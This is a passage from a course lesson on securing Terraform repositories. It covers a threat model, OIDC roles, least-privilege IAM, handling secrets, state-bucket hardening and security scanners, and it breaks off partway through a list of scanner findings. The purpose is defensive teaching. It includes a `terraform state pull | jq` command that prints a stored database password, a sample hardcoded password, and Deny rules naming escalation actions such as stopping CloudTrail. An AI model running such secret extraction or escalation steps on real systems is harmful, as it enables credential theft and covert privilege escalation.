This lesson pays off the biggest debt in the course. For six modules we have been leaving notes: «this is defined by the security team», «the role's policy is detailed in 07-04», «conditions do not replace security policies, because they are bypassed by deleting the block». All of those notes pointed here.

And the previous lesson ended by making the boundary clear. 07-03 showed that a test suite protects a great deal, and then pointed out its limit: a test is a voluntary statement by whoever writes the code. It can be missing, it can be aimed the wrong way, and it can be deleted in the same commit that introduces the problem. The same goes for the preconditions from 06-05: they protect a great deal, and they are bypassed by deleting four lines.

Hence the phrase we promised when closing module 6, and which structures this whole lesson: policies that really are controls rather than good intentions. A control is something whoever makes the change cannot switch off. Everything else is a useful convention that works on the good days.

You are going to see the threat model of an infrastructure repository, the identity Terraform runs as and why plan and apply must not have the same permissions, the four rules of secrets, state protection, static analysis applied to EcoMarket's real code, the Rego policies that run over the plan in the pipeline, the supply chain of modules and providers, and the audit trail all of this leaves behind.

General warning. This lesson teaches the mechanisms and the design decisions. It does not replace a review by your organisation's security team. The specific policies, the thresholds, each role's permissions and the compliance requirements that apply to your case must be defined and validated by security and compliance professionals with knowledge of your regulatory context. What is presented here as «EcoMarket's policy» is a teaching example, not a template to copy into production unreviewed.

  1. Threat model of an infrastructure-as-code repository

Before the defences, the attacks. A threat model is a list of who can do what damage, and it stops you spending effort protecting what nobody will attack while leaving open what they will.

A Terraform repository has one property that makes it special: the code it contains runs with administrator permissions over the entire infrastructure. It is not an application that processes data; it is the key to the house.

Actor What they can do How likely Maximum damage Main control
A team member with prod credentials Apply any change, destroy anything, by mistake or on purpose High (mistakes are everyday) Total That nobody holds those credentials: only the pipeline
Somebody with write access to the repository Introduce a malicious change the pipeline will apply Medium Total Mandatory review + policies + protected branches
A third-party module Run code, create hidden resources, exfiltrate values from the plan Medium High Pinned versions, code review, internal mirrors
A third-party provider Run an arbitrary binary on the machine with your credentials Low Total Lock file with hashes, verified providers only
An exposed state (a misconfigured bucket, a broad terraform_remote_state) Read every secret and the complete topology Medium High Encryption, restricted access, access auditing
A compromised CI runner Everything the pipeline's role can do, with no review Low Total Short-lived OIDC, ephemeral runners, per-environment permissions
A secret in the Git history Use the credential until it is rotated High (it happens to everybody) Depends on the secret gitleaks before the commit + immediate rotation
A CI supply-chain dependency (an action, a plugin) Steal the OIDC token or the job's secrets Medium High Pin by hash, minimal token permissions

The three observations that change the priorities

1. The most dangerous actor is not an attacker: it is a colleague in a hurry. The most likely row in the table is the first, and the damage comes not from bad intent but from the PR in exercise 2 of 07-02: somebody removing prevent_destroy so their plan will go through. Designing only against external attackers leaves the frequent case unprotected.

2. A Terraform provider is a binary your machine runs with your credentials. It was flagged in 02-04 and it is worth repeating here with the threat-model framing: terraform init downloads and runs third-party code. The lock file with its hashes is the main defence, and it is why it gets versioned.

3. The plan is a sensitive artefact. A plan contains the resolved values, sensitive ones included (07-02 §2). Anywhere a plan is stored — a CI artefact, a PR comment, a ticket — is somewhere there are secrets.

flowchart TD
    DEV["A team member"] -->|"PR"| REPO["Repository<br/>ecomarket-infra"]
    THIRD["Third-party modules<br/>and providers"] -->|"source / required_providers"| REPO
    REPO -->|"review + policies"| CI["CI runner"]
    CI -->|"OIDC, no keys"| ROLE["Terraform role<br/>per environment"]
    ROLE -->|"creates / modifies / destroys"| CLOUD["Infrastructure"]
    CI -->|"reads and writes"| ST[("State<br/>encrypted S3")]
    ST -.->|"contains secrets"| CLOUD

    DEV -.->|"THREAT: direct prod<br/>credentials"| CLOUD
    THIRD -.->|"THREAT: code<br/>that gets executed"| CI
    ST -.->|"THREAT: unauthorised<br/>reading"| ATT["Improper access"]

    style ROLE fill:#fef9c3,stroke:#a16207
    style ST fill:#fee2e2,stroke:#b91c1c
    style CI fill:#e0f2fe,stroke:#0369a1

  1. Terraform's identity: the role it runs as

Everything Terraform can do is determined by one single thing: the identity it authenticates with against the provider. That identity is the most important control point in the whole lesson, because it is the only thing a change in the code cannot modify.

The principle: Terraform has no permissions of its own, it assumes a role

# infra/app/providers.tf
provider "aws" {
  region = var.region

  # Terraform does NOT use long-lived credentials. It assumes a role
  # whose permissions are defined outside this repository, in the
  # relevant account, and which the security team controls.
  assume_role {
    role_arn     = "arn:aws:iam::${local.accounts[var.environment]}:role/ecomarket-terraform-${var.environment}"
    session_name = "terraform-${var.environment}-${local.run_identifier}"

    # ExternalId: a defence against the "confused deputy". Only somebody
    # who knows this value can assume the role, even if its ARN is public.
    external_id = var.external_id
  }

  default_tags {
    tags = local.common_tags
  }
}

The three properties this buys, which you do not get with direct credentials:

Property Why it matters
Temporary credentials The session expires (1 h by default, up to 12). A stolen credential has a limited window
A named audit trail session_name appears in CloudTrail: you know who ran each call, not just «the role»
Permissions defined outside the repository Whoever changes the code cannot widen their own permissions, because the policy lives in another account and another repository

The third is what turns this into a control rather than a convention. If the role's policy lived in ecomarket-infra, a PR could widen it and apply it with the permissions it already has. That is why the repository that defines the Terraform roles must not be manageable by the application's own Terraform, or at least not with the same role.

The trust relationship: who can assume the role

The role's policy says what it can do; the trust relationship says who can become it. The second is by far the more important and the more neglected.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "OnlyTheGitHubPipelineOfThisRepositoryAndThisBranch",
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789014:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
        },
        "StringLike": {
          "token.actions.githubusercontent.com:sub":
            "repo:ecomarket/ecomarket-infra:environment:prod"
        }
      }
    },
    {
      "Sid": "BreakGlassOnlyWithRecentMFA",
      "Effect": "Allow",
      "Principal": { "AWS": "arn:aws:iam::123456789012:role/ecomarket-oncall" },
      "Action": "sts:AssumeRole",
      "Condition": {
        "Bool": { "aws:MultiFactorAuthPresent": "true" },
        "NumericLessThan": { "aws:MultiFactorAuthAge": "900" }
      }
    }
  ]
}

Every line of the condition does a specific job:

Element What it prevents
Federated with the OIDC provider That a static access key is used
aud = sts.amazonaws.com That a token issued for another service works here
sub with repo:ecomarket/ecomarket-infra That another repository in the organisation assumes the production role
environment:prod That a job which does not go through the protected environment (with its approval) assumes it
The second statement with recent MFA It leaves an emergency door, but requires MFA less than 15 minutes old and only for the on-call role

The classic mistake in this trust relationship is using "sub": "repo:ecomarket/*" or, worse, omitting the sub condition. With that, any repository in the organisation — including a new one created by anybody with permission — can assume the production role. It is a one-line flaw that grants total access.

Warning. The production role's trust relationship and its policy must be reviewed and approved by the security team, and its repository must have CODEOWNERS with mandatory security review (07-02 §11). A one-line change here can open the whole account.

  1. Different permissions for plan and for apply

This is one of the most rewarding separations and one of the least applied.

terraform plan only needs to read. It refreshes the state by querying the API, compares against the code and computes differences. It creates and modifies nothing. terraform apply needs to write. They are two radically different permission profiles and there is no reason to give them the same one.

Operation Permissions needed Who runs it When
plan on a PR Read on the API + read and write on the state lock The pipeline, on every PR, including those from external contributors Constantly
apply Full write on the managed resource types The pipeline, only after approval After the merge
destroy Write + delete Nobody automatically in prod Exceptionally
flowchart TD
    PR["Pull request"] --> RP["Role ecomarket-terraform-plan<br/><b>READ ONLY</b><br/>+ state (read/lock)"]
    RP --> P["terraform plan<br/>posted on the PR"]
    P --> POL["Policies over the plan<br/>(section 12)"]
    POL --> REV["Review + approval"]
    REV --> MERGE["Merge to main"]
    MERGE --> APR{"Protected<br/>environment?"}
    APR -->|"dev"| RA1["Role ecomarket-terraform-dev<br/>write"]
    APR -->|"prod: approval<br/>from a 2nd person"| RA2["Role ecomarket-terraform-prod<br/><b>write</b>"]
    RA1 --> A1["apply in dev"]
    RA2 --> A2["apply in prod"]

    style RP fill:#dcfce7,stroke:#15803d
    style RA2 fill:#fee2e2,stroke:#b91c1c

What this separation buys, in concrete cases:

  • A PR from an external contributor can run plan with no possibility whatsoever of creating resources. Without the separation, you have to choose between not planning external PRs and giving them the write role.
  • A runner compromised during the plan phase cannot modify anything. The exposure window of the powerful role shrinks to the minutes of the apply, after approval.
  • The nightly drift plan (07-01 §11) runs with the read-only role, every night, across the three environments, with no path at all from it to a change.

The surprising detail: the plan role does need to write the state lock. A plan acquires the lock to stop the state changing while it reads. With S3 and use_lockfile, that means s3:PutObject and s3:DeleteObject on the .tflock file, even though the rest is read-only.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "FullReadForTheRefresh",
      "Effect": "Allow",
      "Action": [
        "ec2:Describe*", "rds:Describe*", "s3:GetBucket*", "s3:ListBucket",
        "elasticloadbalancing:Describe*", "iam:Get*", "iam:List*",
        "autoscaling:Describe*", "cloudwatch:Describe*", "kms:Describe*"
      ],
      "Resource": "*"
    },
    {
      "Sid": "StateReadAndLock",
      "Effect": "Allow",
      "Action": ["s3:GetObject", "s3:ListBucket"],
      "Resource": [
        "arn:aws:s3:::ecomarket-tfstate-123456789014",
        "arn:aws:s3:::ecomarket-tfstate-123456789014/ecomarket/prod/*"
      ]
    },
    {
      "Sid": "TheLockDoesNeedWriteAccess",
      "Effect": "Allow",
      "Action": ["s3:PutObject", "s3:DeleteObject"],
      "Resource": "arn:aws:s3:::ecomarket-tfstate-123456789014/ecomarket/prod/*.tflock"
    },
    {
      "Sid": "NoWritesOnTheInfrastructure",
      "Effect": "Deny",
      "Action": [
        "ec2:Create*", "ec2:Delete*", "ec2:Modify*", "ec2:Terminate*",
        "rds:Create*", "rds:Delete*", "rds:Modify*",
        "iam:Create*", "iam:Delete*", "iam:Put*", "iam:Attach*", "iam:Update*"
      ],
      "Resource": "*"
    }
  ]
}

The third statement, the explicit Deny, is not redundant even though there is no write Allow: an explicit Deny always wins over any Allow, including one somebody adds by mistake later or one that comes from a different attached policy. It is a belt on top of braces, and in the role used on every PR it is worth having.

  1. OIDC from CI: running without static keys

The most common way to compromise an infrastructure is not a sophisticated exploit: it is a long-lived access key stored as a pipeline secret, which somebody copies, which leaks into a log, or which is still valid three years after its owner left the company.

OIDC removes the key. The CI provider issues a signed, short-lived token describing who is running what; the cloud verifies it and returns temporary credentials.

sequenceDiagram
    participant CI as CI runner
    participant IDP as OIDC provider<br/>(GitHub / GitLab)
    participant STS as AWS STS
    participant AWS as AWS API

    CI->>IDP: "Give me a token for this job"
    IDP-->>CI: Signed JWT<br/>sub=repo:ecomarket/infra:environment:prod<br/>expires in minutes
    CI->>STS: AssumeRoleWithWebIdentity(token, role)
    STS->>IDP: Verify the signature with the public key
    STS->>STS: Check sub, aud and the<br/>role's trust relationship
    STS-->>CI: TEMPORARY credentials (1 h)
    CI->>AWS: terraform apply with those credentials
    Note over CI,AWS: There is no static key<br/>anywhere at all
Aspect Static access key OIDC
Where the secret lives In the CI configuration, forever Nowhere
Expiry Never, until somebody rotates it Minutes (token) / 1 h (credentials)
If a log leaks Valid until rotation It has already expired
Scope Everybody who can read the secret Only that repository, that branch, that environment
Rotation Manual, and forgotten Automatic by design
Auditing «The user ci-user» «Job X of repository Y on branch Z»

The specific pipeline configuration belongs to module 8 — there you will see the full flow in GitHub Actions (08-03) and in Jenkins (08-02). What belongs to this lesson is the design decision: if your pipeline has an AWS_SECRET_ACCESS_KEY stored as a secret, that is probably the weakest point in your whole infrastructure, and migrating it to OIDC is usually half a day's work.

The equivalents in the other clouds, already seen in module 5: workload identity federation in Azure Entra ID, and workload identity federation in GCP. The mechanism is the same.

  1. Least privilege applied for real

«Least privilege» is the most repeated recommendation and the least applied, because doing it properly takes work and doing it badly breaks deployments. The typical failure is starting with AdministratorAccess «until it works» and never going back.

The approach that works in practice has three levels, from least to most restrictive, and you move through them over time:

Level How it is expressed Effort When
1. By service Allow only the services in use (ec2, rds, s3, elasticloadbalancing) Low From day one
2. By name prefix and by tag Only resources starting with ecomarket-<environment>- or carrying Project = ecomarket Medium As soon as there is more than one team in the account
3. By specific action An explicit list of actions, no wildcards High Only where the damage justifies it (IAM, KMS)

A policy restricted by tag and by prefix

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "CreateOnlyIfTaggedCorrectly",
      "Effect": "Allow",
      "Action": [
        "ec2:RunInstances", "ec2:CreateVpc", "ec2:CreateSubnet",
        "ec2:CreateSecurityGroup", "rds:CreateDBInstance", "s3:CreateBucket"
      ],
      "Resource": "*",
      "Condition": {
        "StringEquals": {
          "aws:RequestTag/Project": "ecomarket",
          "aws:RequestTag/Environment": "prod",
          "aws:RequestTag/ManagedBy": "terraform"
        },
        "ForAllValues:StringEquals": {
          "aws:TagKeys": [
            "Project", "Environment", "ManagedBy", "Owner",
            "Repo", "CostCenter", "Name"
          ]
        }
      }
    },
    {
      "Sid": "ModifyAndDeleteOnlyWhatIsAlreadyOurs",
      "Effect": "Allow",
      "Action": [
        "ec2:TerminateInstances", "ec2:DeleteSubnet", "ec2:ModifyInstanceAttribute",
        "rds:ModifyDBInstance", "rds:DeleteDBInstance"
      ],
      "Resource": "*",
      "Condition": {
        "StringEquals": {
          "aws:ResourceTag/Project": "ecomarket",
          "aws:ResourceTag/Environment": "prod",
          "aws:ResourceTag/ManagedBy": "terraform"
        }
      }
    },
    {
      "Sid": "BucketsOnlyWithTheProjectPrefix",
      "Effect": "Allow",
      "Action": ["s3:PutBucketPolicy", "s3:DeleteBucket", "s3:PutEncryptionConfiguration"],
      "Resource": "arn:aws:s3:::ecomarket-prod-*"
    },
    {
      "Sid": "NoTouchingAccountSecurity",
      "Effect": "Deny",
      "Action": [
        "iam:CreateUser", "iam:CreateAccessKey", "iam:DeleteRole",
        "iam:PutRolePolicy", "iam:AttachRolePolicy",
        "organizations:*", "account:*",
        "cloudtrail:StopLogging", "cloudtrail:DeleteTrail",
        "guardduty:Delete*", "config:Delete*"
      ],
      "Resource": "*"
    },
    {
      "Sid": "NoModifyingTerraformsOwnRole",
      "Effect": "Deny",
      "Action": ["iam:*"],
      "Resource": [
        "arn:aws:iam::123456789014:role/ecomarket-terraform-*",
        "arn:aws:iam::123456789014:policy/ecomarket-terraform-*"
      ]
    }
  ]
}

The two final statements are what turn this into a real control:

NoTouchingAccountSecurity stops Terraform — or whoever controls Terraform's code — from creating users, issuing permanent access keys or disabling audit logging. That last part is critical: an attacker who manages to apply changes will first try to turn off CloudTrail. With this Deny, they cannot, and their activity is recorded.

NoModifyingTerraformsOwnRole closes off privilege escalation. Without it, anybody who can apply a change can add AdministratorAccess to their own role in the next apply, and every restriction above is decorative.

How to reach a policy like that without breaking anything

The practical route, which works and does not generate weeks of frustration:

# 1. Start with broad permissions in DEV and record what is really used.
#    CloudTrail has the data; IAM Access Analyzer turns it into a policy.
aws accessanalyzer start-policy-generation \
  --policy-generation-details '{"principalArn":"arn:aws:iam::123456789012:role/ecomarket-terraform-dev"}' \
  --cloud-trail-details file://cloudtrail.json

# 2. Review the generated policy. NEVER apply it as is: it includes
#    what was used, not what will be needed (a destroy, a new resource).
aws accessanalyzer get-generated-policy --job-id "$JOB_ID"

# 3. Test it in dev with a full cycle: apply, change, destroy.
#    The destroy is where the missing permissions show up.

# 4. Check what it would do in production BEFORE applying it there.
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::123456789014:role/ecomarket-terraform-prod \
  --action-names rds:DeleteDBInstance ec2:TerminateInstances \
  --resource-arns "arn:aws:rds:eu-west-1:123456789014:db:ecomarket-prod-db"

Step 3 contains the warning that saves the most time: destroy needs permissions the apply never uses. A policy generated from creation activity leaves out the Delete* actions, and the failure appears months later, at the worst moment, when somebody tries to retire an environment.

The equivalents in Azure and GCP

Concept AWS Azure GCP
Execution identity An assumed IAM role Service principal / managed identity Service account
No keys from CI OIDC → AssumeRoleWithWebIdentity Workload identity federation Workload identity federation
Permissions IAM policy (JSON) RBAC role (role definition) IAM roles and permissions
Restriction by tag aws:RequestTag / aws:ResourceTag Role assignment conditions IAM conditions
Organisational guardrail Organizations SCP Azure Policy (deny) Organization Policy

The organisational guardrails in the last row are particularly important and are covered in section 14: they are controls that sit above the role and that not even the account administrator can bypass.

  1. Secrets: the four rules

A secret is any value whose disclosure causes harm: passwords, API keys, private certificates, tokens. In Terraform there are four rules, and the fourth is the most surprising.

Rule 1: never in the code

# NEVER. It is in Git, in the history, in every clone, forever.
resource "aws_db_instance" "this" {
  password = "Ecom2026!Prod"
}

Obvious, and yet it is the number-one finding of any secret scanner. The defence mechanism is not discipline: it is gitleaks in the pre-commit hook and in the pipeline (07-02 §4).

Rule 2: never in a versioned .tfvars

# environments/prod.tfvars — this file IS versioned.
db_class       = "db.t3.medium"     # fine: sizing
multi_az       = true               # fine
retention_days = 30                 # fine
db_password    = "Ecom2026!Prod"    # ← NO. This makes it a secrets file

The correct route, while the password is still needed:

# The pipeline reads it from the secrets manager and passes it via the environment.
# It never touches disk and never appears in a file.
export TF_VAR_db_password="$(aws secretsmanager get-secret-value \
  --secret-id ecomarket/prod/db/master \
  --query SecretString --output text)"

terraform apply -var-file=environments/prod.tfvars

Rule 3: never in user_data or in instance metadata

It already came up in 05-05 and it is worth repeating with the security framing: an instance's user_data is readable by anybody with the ec2:DescribeInstanceAttribute permission, and also from inside the instance itself by any process, through the metadata service. It is not a secure channel.

# BAD: the password ends up readable in the instance's metadata.
user_data = templatefile("${path.module}/startup.sh.tpl", {
  db_password = var.db_password
})

# GOOD: the instance receives the secret's NAME and reads it with its
# own role. The password never travels through the metadata.
user_data = templatefile("${path.module}/startup.sh.tpl", {
  db_secret = aws_secretsmanager_secret.db.name
  region    = var.region
})
# startup.sh.tpl — the instance resolves it with its instance role.
PASSWORD=$(aws secretsmanager get-secret-value \
  --secret-id "${db_secret}" --region "${region}" \
  --query SecretString --output text | jq -r .password)

And one AWS detail worth pinning down: require IMDSv2 on every instance. Version 1 of the metadata service is vulnerable to server-side request forgery — a web application with an SSRF flaw can read the instance role's credentials — while v2 requires a token obtained with PUT, which makes it unreachable by that route.

resource "aws_instance" "web" {
  # ...
  metadata_options {
    http_tokens                 = "required"   # IMDSv2 mandatory
    http_endpoint               = "enabled"
    http_put_response_hop_limit = 1            # blocks access from containers
  }
}

Rule 4: assume the state contains them

This is the rule that changes how you design. You have known it since 03-01: the state stores every attribute of every resource, sensitive ones included, in the clear. sensitive = true hides the value in the terminal output; it does not encrypt it or remove it from the state.

# A demonstration. The state hides nothing.
terraform state pull | jq -r '.resources[]
  | select(.type == "aws_db_instance")
  | .instances[].attributes.password'
# Ecom2026!Prod

The consequences, all of them about design:

Consequence What it implies
The state bucket is as sensitive as the database Encryption, restricted access, auditing (section 9)
terraform_remote_state grants access to the whole source state Never between different teams (03-03)
A state in Git is a total leak The incident in section 4 of 07-02
The best defence is for the secret never to pass through Terraform That is the next section

  1. Secrets managers and the two patterns

The conclusion of rule 4 is blunt: if the secret passes through Terraform, it ends up in the state. So the correct design is for it not to pass through.

Service Cloud Indicative cost Automatic rotation
AWS Secrets Manager AWS $0.40/secret/month + $0.05/10,000 calls Yes, native for RDS
AWS Parameter Store (SecureString) AWS Free (standard tier) No, manual
Azure Key Vault Azure ~$0.03/10,000 operations Yes, with events
GCP Secret Manager GCP $0.06/active secret/month + access Yes, with functions
HashiCorp Vault Any Self-hosted or managed service Yes, and dynamic credentials

Pattern A: Terraform creates the empty secret, the application fills it

# Terraform creates the CONTAINER and the permissions, not the content.
resource "aws_secretsmanager_secret" "payment_gateway_api" {
  name        = "${local.prefix}/payment-gateway/api-key"
  description = "Payment gateway key. Filled in by the payments team."

  # Recovery window: protects against an accidental deletion.
  recovery_window_in_days = 30

  tags = local.common_tags
}

# The policy says WHO can read it. That really is infrastructure.
resource "aws_secretsmanager_secret_policy" "payment_gateway_api" {
  secret_arn = aws_secretsmanager_secret.payment_gateway_api.arn

  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [{
      Effect    = "Allow"
      Principal = { AWS = aws_iam_role.app.arn }
      Action    = ["secretsmanager:GetSecretValue"]
      Resource  = "*"
    }]
  })
}

# And the value is ignored: if somebody fills it in or rotates it outside
# Terraform, the plan does NOT propose reverting it.
resource "aws_secretsmanager_secret_version" "initial" {
  secret_id     = aws_secretsmanager_secret.payment_gateway_api.id
  secret_string = jsonencode({ pending = "to be filled in by the payments team" })

  lifecycle {
    ignore_changes = [secret_string]
  }
}

What this achieves: the real value never passes through Terraform, so it never enters the state. Terraform manages what is its business — the container, the permissions, the rotation — and the content is supplied by whoever has it.

Pattern B: the resource manages its own password

It is the preferable option when the service offers it, and it already appeared in 05-02:

resource "aws_db_instance" "this" {
  identifier = "${var.base_name}-db-${var.suffix}"
  engine     = "postgres"
  username   = "ecomarket_admin"

  # RDS generates the password, stores it in Secrets Manager and rotates it.
  # There is NO var.db_password. There is no password in the state.
  manage_master_user_password   = true
  master_user_secret_kms_key_id = aws_kms_key.secrets.id

  storage_encrypted = true
  kms_key_id        = aws_kms_key.data.arn
}

# The application reads the secret with its role. Terraform only publishes
# the ARN, which is not a secret.
output "db_secret_arn" {
  description = "ARN of the secret managed by RDS. The application reads it with its role."
  value       = aws_db_instance.this.master_user_secret[0].secret_arn
}

The complete comparison

Pattern In the state? Does anybody see it? Rotation When to use it
var.db_password with TF_VAR_ Yes, in the clear Whoever wrote it Manual dev only, and as an interim step
random_password + Secrets Manager Yes, in the clear Nobody By recreating the resource Better than the above, not ideal
A: empty container No Whoever fills it in The owner's Third-party secrets (gateways, APIs)
B: managed by the service No Nobody Automatic The default option whenever it exists
Vault with dynamic credentials No (or ephemeral) Nobody By expiry Organisations with Vault deployed

The last row deserves a note: Vault can issue dynamic credentials — a database user created on the fly, valid for an hour and destroyed afterwards. It is the most secure model there is, because there is no long-lived secret to steal. The cost is operating Vault, which is not trivial.

  1. Ephemeral values: ephemeral

Terraform 1.10 and 1.11 introduced a mechanism that attacks rule 4 head-on: values that exist only during the run and that are never written to the state or to the plan.

# An ephemeral resource: it fetches the password on every run and
# discards it when it finishes. It is not persisted anywhere.
ephemeral "aws_secretsmanager_secret_version" "db" {
  secret_id = aws_secretsmanager_secret.db.id
}

# An ephemeral variable: it cannot end up in the state or in an output.
variable "deployment_token" {
  type      = string
  ephemeral = true
  sensitive = true
}

# Use: only in arguments the provider marks as "write-only".
resource "aws_db_instance" "this" {
  # ...
  password_wo         = ephemeral.aws_secretsmanager_secret_version.db.secret_string
  password_wo_version = 1    # incremented to force a rewrite
}
Concept Version What it does
ephemeral (block) 1.10 Fetches a value on every run, without persisting it
ephemeral = true on a variable 1.10 The value cannot end up in the state
ephemeral = true on an output 1.10 Only consumable by another ephemeral value
*_wo (write-only) arguments 1.11 + provider The provider sends it to the API and does not store it

Three limitations worth knowing before planning a migration:

  1. It requires provider support. The *_wo arguments have to be implemented by each resource, and coverage is still partial.
  2. It is evaluated on every plan and every apply. If the secrets manager does not respond, the run fails. It is the opposite of a persisted value.
  3. It does not fix the state you already have. Migrating a resource whose password is in the state to *_wo does not delete what is already stored: that requires rotating the secret and cleaning up the bucket's version history.

The recommendation for EcoMarket: pattern B (manage_master_user_password) remains the first option for the database, because it does not depend on recent versions or on provider coverage. ephemeral is the route for the cases where there is no native management, and it is worth following closely because it is the direction the product is heading.

  1. Protecting the state

Picking module 3 back up with the security framing: the state bucket contains every secret in your infrastructure. It deserves the same level of protection as the production database.

# bootstrap/main.tf — applied ONCE, with local state.
# This bucket is the most sensitive asset in the repository.

resource "aws_s3_bucket" "state" {
  bucket = "ecomarket-tfstate-${data.aws_caller_identity.current.account_id}"

  lifecycle {
    prevent_destroy = true     # deleting this means losing control of everything
  }
}

# 1. VERSIONING: allows recovering a corrupted or overwritten state.
#    It is the rollback mechanism from 09-03.
resource "aws_s3_bucket_versioning" "state" {
  bucket = aws_s3_bucket.state.id
  versioning_configuration { status = "Enabled" }
}

# 2. ENCRYPTION with a customer-managed key (not the AWS-managed one): it lets
#    you control WHO can decrypt through the key's policy,
#    and leaves a record of every decryption in CloudTrail.
resource "aws_kms_key" "state" {
  description             = "Encryption of EcoMarket's Terraform state"
  enable_key_rotation     = true
  deletion_window_in_days = 30
}

resource "aws_s3_bucket_server_side_encryption_configuration" "state" {
  bucket = aws_s3_bucket.state.id
  rule {
    apply_server_side_encryption_by_default {
      sse_algorithm     = "aws:kms"
      kms_master_key_id = aws_kms_key.state.arn
    }
    bucket_key_enabled = true    # reduces the cost of KMS calls
  }
}

# 3. TOTAL PUBLIC ACCESS BLOCK. No exceptions.
resource "aws_s3_bucket_public_access_block" "state" {
  bucket                  = aws_s3_bucket.state.id
  block_public_acls       = true
  block_public_policy     = true
  ignore_public_acls      = true
  restrict_public_buckets = true
}

# 4. TLS MANDATORY and access restricted to the Terraform roles.
resource "aws_s3_bucket_policy" "state" {
  bucket = aws_s3_bucket.state.id
  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Sid       = "DenyWithoutTLS"
        Effect    = "Deny"
        Principal = "*"
        Action    = "s3:*"
        Resource  = ["${aws_s3_bucket.state.arn}", "${aws_s3_bucket.state.arn}/*"]
        Condition = { Bool = { "aws:SecureTransport" = "false" } }
      },
      {
        Sid       = "OnlyTheTerraformRoles"
        Effect    = "Deny"
        Principal = "*"
        Action    = "s3:GetObject"
        Resource  = "${aws_s3_bucket.state.arn}/*"
        Condition = {
          StringNotLike = {
            "aws:PrincipalArn" = [
              "arn:aws:iam::*:role/ecomarket-terraform-*",
              "arn:aws:iam::*:role/ecomarket-audit"
            ]
          }
        }
      }
    ]
  })
}

# 5. ACCESS LOGGING: who read the state and when.
resource "aws_s3_bucket_logging" "state" {
  bucket        = aws_s3_bucket.state.id
  target_bucket = aws_s3_bucket.audit.id
  target_prefix = "state-access/"
}

# 6. RETENTION of old versions: a balance between being able
#    to recover and not accumulating secrets indefinitely.
resource "aws_s3_bucket_lifecycle_configuration" "state" {
  bucket = aws_s3_bucket.state.id
  rule {
    id     = "old-version-retention"
    status = "Enabled"
    noncurrent_version_expiration { noncurrent_days = 90 }
  }
}

What to do if the state has leaked

The procedure, which is the one from section 4 of 07-02 applied to this specific case:

  1. Enumerate what it contained. terraform show -json over that version of the state, extracting every sensitive_values.
  2. Rotate everything enumerated. Database passwords, API keys, certificates, keys generated by random_password or tls_private_key. Every one, no exceptions.
  3. Review the access log. Who downloaded that object, from what IP and when. The bucket's access logs and CloudTrail will say so if they were enabled; if they were not, you have to assume the worst case.
  4. Assess the exposed topology. The state does not only hold secrets: it holds the complete architecture, IPs, identifiers, resource names. That is reconnaissance handed to an attacker for free.
  5. Notify security and compliance the same day.

  1. Static analysis: tfsec/Trivy, checkov, terrascan and tflint

Security scanners read the code (or the plan) and look for known insecure configurations. They are cheap, fast and they really do find things.

Tool What it analyses Strong at False positives Status
Trivy (absorbed tfsec) HCL code and plan JSON Very complete cloud rules, plus images and dependencies Medium Active, it is tfsec's successor
Checkov Code, plan JSON, Helm, K8s, CloudFormation Mapping to compliance frameworks (CIS, PCI, NIST, SOC2) Medium-high Very active
Terrascan Code and plan Policies in Rego, extensible Medium Less active
tflint Code only Provider errors, conventions (07-03) Low Very active
OPA/Conftest Plan JSON Your policies, nobody else's Whatever you write Industry standard

The difference that organises the choice: the scanners bring ready-made rules about known bad practices; OPA brings none and exists to express yours. They do not compete: EcoMarket uses Trivy or Checkov for the generic things and Conftest for its own.

What none of them can see

Everything that analyses code shares one serious blind spot:

# The CODE scanner sees a variable. It does not know its value.
resource "aws_security_group_rule" "web" {
  cidr_blocks = var.allowed_ranges     # "10.0.0.0/8" or "0.0.0.0/0"?
}
# environments/prod.tfvars
allowed_ranges = ["0.0.0.0/0"]   # ← the code scanner does not look here

That is why the analysis must also be done over the plan, where everything is resolved:

# Over the code: fast, no credentials needed, sees less.
trivy config infra/app/
checkov -d infra/app/ --framework terraform

# Over the PLAN: it sees the final values. This is the one that really protects.
terraform show -json app.tfplan > plan.json
trivy config --file-patterns 'terraformplan:plan.json' plan.json
checkov -f plan.json --framework terraform_plan

Suppressions and their danger

All of them allow a finding to be silenced, and that is where the risk lies:

# Trivy / tfsec
#trivy:ignore:AVD-AWS-0088
resource "aws_s3_bucket" "public_logs" { }

# Checkov
#checkov:skip=CKV_AWS_18:Access logs do not log themselves (a loop)
resource "aws_s3_bucket" "audit" { }
Risk of suppressions Mitigation
They get copied and pasted between files without rereading the reason Require a justification comment inside the suppression comment itself
They age: the reason stops applying and nobody reviews it An expiry date and a control that fails once it passes
They get used to silence things en masse CODEOWNERS over the suppressions: security approves them
They hide a real problem that later blows up A suppression register reviewed every quarter

EcoMarket's policy, which makes the expiry verifiable:

# Mandatory format: ID, reason, who and UNTIL WHEN.
#checkov:skip=CKV_AWS_18:The audit bucket does not log itself (infinite loop). Approved by @security. Expires: 2026-12-31
resource "aws_s3_bucket" "audit" { }
# ci/expired-suppressions.sh — the pipeline fails if any has expired.
set -euo pipefail
TODAY=$(date +%F)
EXPIRED=0

grep -rn "Expires: " --include="*.tf" . | while IFS= read -r line; do
  DATE=$(echo "$line" | grep -oP 'Expires: \K[0-9]{4}-[0-9]{2}-[0-9]{2}')
  if [[ "$DATE" < "$TODAY" ]]; then
    echo "EXPIRED SUPPRESSION ($DATE): $line"
    EXPIRED=1
  fi
done

# And a check that EVERY suppression carries a date.
if grep -rn "checkov:skip\|trivy:ignore" --include="*.tf" . | grep -v "Expires:"; then
  echo "There are suppressions with no expiry date. They are not accepted."
  exit 1
fi
exit $EXPIRED

  1. Real findings on EcoMarket's code

Let us run Checkov over an early version of the data module, before the module 5 corrections. These are findings that really do appear.

$ checkov -d modules/data/ --compact --quiet
Check: CKV_AWS_19: "Ensure all data stored in the S3 bucket is securely encrypted at rest"
	FAILED for resource: aws_s3_bucket.images
	File: /main.tf:12-18

Check: CKV_AWS_21: "Ensure all data stored in the S3 bucket have versioning enabled"
	FAILED for resource: aws_s3_bucket.images
	File: /main.tf:12-18

Check: CKV_AWS_16: "Ensure all data stored in the RDS is securely encrypted at rest"
